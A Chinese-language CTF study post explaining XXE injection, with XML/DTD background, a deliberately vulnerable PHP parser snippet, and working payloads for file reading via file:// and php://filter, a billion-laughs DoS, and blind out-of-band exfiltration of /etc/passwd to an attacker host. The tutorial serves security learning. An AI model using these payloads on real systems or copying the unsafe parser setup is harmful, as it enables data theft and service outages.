CTF學習--web--XXE
來自一條鹹魚的痛苦掙扎------魯迅
XXE全稱XML External Entity Injection即xml外部實體注入漏洞,觸發點多位於xml文件上傳點,危害:任意文件讀取,命令執行
一張簡單的圖概括下用XXE讀取任意文件
XML回顧
- XML=Extensible Markup Language,用來傳輸和存儲數據。優點:格式統一,標準規範
- XML 結構及其語法
<?xml version="1.0" standalone="yes" encoding="UTF-8"?> <!--XML申明--><!DOCTYPE note [ <!--定義 XML 文檔的結構,DTD文檔類型 --> <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)>]> <note> <!--文檔元素--><to>George</to><from>John</from><heading>Reminder</heading><body>Dont forget the meeting!</body></note>
DTD知識
- DTD=document type definition,文檔類型定義(DTD)可定義合法的XML文檔構建模塊,包含(外部引用)、(b)內部引用。簡而言之:類比sql表欄位的創建。
<!DOCTYPE 根元素 [元素聲明]> <!--例如--> <!DOCTYPE address [<!ELEMENT address (#PCDATA)> <!ENTITY name "Tanmay patil"> <!ENTITY company "TutorialsPoint"> <!ENTITY phone_no "(011) 123-4567"> ]><!DOCTYPE 根元素 SYSTEM "DTD文件的URL"> <!--例如--> <!DOCTYPE address SYSTEM "address.dtd"><!DOCTYPE 根元素 PUBLIC "DTD名稱" "DTD文件的URL">
- ELEMENT(可略)
<!ELEMENT 元素名稱 元素類型> <!--例如--> <!ELEMENT to (#PCDATA)>元素類型的三種寫法: (1)EMPTY——表示該元素不能包含子元素和文本,但可以有屬性。 (2)ANY——表示該元素可以包含任何在該DTD中定義的元素內容 (3)#PCDATA——可以包含任何字元數據,但是不能在其中包含任何子元素 <!--例如--> <!ELEMENT 公司職員 ANY> <!--相當於sql的創建張表,表裡面創建欄位,然後對每個欄位定義--> <!ATTLIST 公司職員 編號 ID #REQUIRED 姓名 CDATA #REQUIRED >
- ENTITY (重點)
<!ENTITY 實體名稱 "實體的值"> <!--內部實體--> <!ENTITY 實體名稱 SYSTEM "URI/URL"> <!--外部實體--><!ENTITY % 實體名稱 "實體的值"> <!ENTITY % 實體名稱 SYSTEM "URI"> <!--參數實體--> 內部實體+參數實體-----------------------------------<!--1.例子 &為xml文檔引用--><?xml version="1.0" encoding="utf-8"?><!DOCTYPE fc [ <!ENTITY name SYSTEM "file:///root/1.txt"]><d> <value>&name;</value> </d>-----------------------------------<!--2.例子 %為DTD內引用--><?xml version=」1.0」 encoding=」UTF-8」?> <!DOCTYPE ANY [ <!ENTITY % name SYSTEM "http://localhost/index.html"> %name; ]>-----------------------------------------------
XXE
讀取任意文件
<?php header("Content-type: text/html; charset=utf-8"); libxml_disable_entity_loader (false);// 關閉xxe防護,禁用外部實體載入echo "<h3>xxe</h3>"; $xml = ; //從網頁接受到的文件讀取到這裡,然後未作過濾和任何檢測$doc = simplexml_load_string($xml); echo $doc->name; //這裡直接按接收到的內容解析?>
因為&xml為我們外部可控的,(比如表單提交數據),此時我們可以傳入
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE a [ <!ENTITY file SYSTEM "file:///root/file"> ]><username>&file;</username>
讀取到網站伺服器/root/file文件的內容,並將其顯示到網頁。
xxe的一些騷操作
DOS攻擊
<?xml version = "1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]> <lolz>&lol9;</lolz>
php偽協議繞過
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xdsec [ <!ELEMENT methodname ANY > <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >]> <methodcall> <methodname>&xxe;</methodname> </methodcall>
blind XXE 注入
針對伺服器沒有回顯
xxe.xml
<?xml version="1.0" ?><!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY % sp SYSTEM"http://1.3.3.7:8000/xxe.dtd">%sp;%param1;]><r>&exfil;</r>
xxe.dtd
<!ENTITY % data SYSTEM"php://filter/convert.base64-encode/resource=/etc/passwd"><!ENTITY % param1 "<!ENTITYexfil SYSTEM http://x.x.x.x:8090/?%data;>">
思路」讓伺服器去引用xxe.xml文件,外部實體化載入xxe.dtd文件,將查詢到本地文件的內容%data,直接發送至hacker伺服器,規避了網頁沒有回顯的弊端
XXE漏洞擴展
常規系統里對接收的請求都會做限制,比如POST之以content-type的application/x-www-form-urlencoded接收,但在一些框架系統里,框架會自動幫開發者識別傳入的數據
POST 提交數據的四種常見方式
application/x-www-form-urlencodedmultipart/form-data
application/json application/xml
比如:默認為application/x-www-form-urlencoded接收的我只需修改為 application/json
即可傳入JSON格式的數據,XML同理
這將導致原本不存在xml解析的地方可能存在XXE漏洞
CTF中實例
題目鏈接:http://web.jarvisoj.com:9882/
提示:請設法獲得目標機器/home/ctf/flag.txt中的flag值。
將content-type修改為xml,然後xxe讀flag
參考:淺談XXE漏洞攻擊與防禦 淺談XXE攻擊 - FreeBuf互聯網安全新媒體平台 | 關注黑客與極客 php框架slim架構上存在XXE漏洞(XXE的典型存在形式) | 離別歌
推薦閱讀:
※歷時兩周,總算把開源堡壘機的坑給填了
※怪才塗:網路安全升級,網賺者路在何方?
※網路安全 | 不如做個腳本小子?
※2017 年度安全報告——Office
※「安全」對於醫療雲有多重要?
TAG:網路安全 |